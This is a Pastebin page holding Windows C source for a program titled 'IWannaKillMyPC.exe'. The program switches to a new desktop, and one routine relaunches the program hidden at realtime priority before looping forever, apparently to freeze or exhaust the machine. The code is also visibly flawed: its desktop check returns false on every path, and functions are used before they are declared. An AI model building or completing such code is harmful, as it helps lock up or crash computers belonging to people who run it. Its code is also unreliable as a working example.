Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #define DESC_NAME TEXT("HDSKTP")
- #define THIS_FILE_NAME TEXT("IWannaKillMyPC.exe")
- int main()
- {
- if (desctop_with_this_name_exists(DESC_NAME)) destroy_my_runtime();
- else SwitchDesktop(create_desctop(DESC_NAME));
- }
- HDESK create_desctop(LPCWSTR _desc_name)
- {
- HDESK desctop = CreateDesktop(_desc_name, NULL, NULL, 0, GENERIC_ALL, NULL);
- return desctop;
- }
- bool desctop_with_this_name_exists(LPCWSTR _desc_name)
- {
- HDESK target_desc = OpenDesktop(_desc_name, NULL, FALSE, GENERIC_ALL);
- if (!target_desc) return false;
- return false;
- }
- void destroy_my_runtime()
- {
- STARTUPINFO startup_info = { sizeof(startup_info) };
- PROCESS_INFORMATION process_info;
- TCHAR CmdLine[] = THIS_FILE_NAME;
- bool creationResult = CreateProcess(
- NULL,
- CmdLine,
- NULL,
- NULL,
- FALSE,
- REALTIME_PRIORITY_CLASS | HIDE_WINDOW,
- NULL,
- NULL,
- &startup_info,
- &process_info
- );
- while (1) {}
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement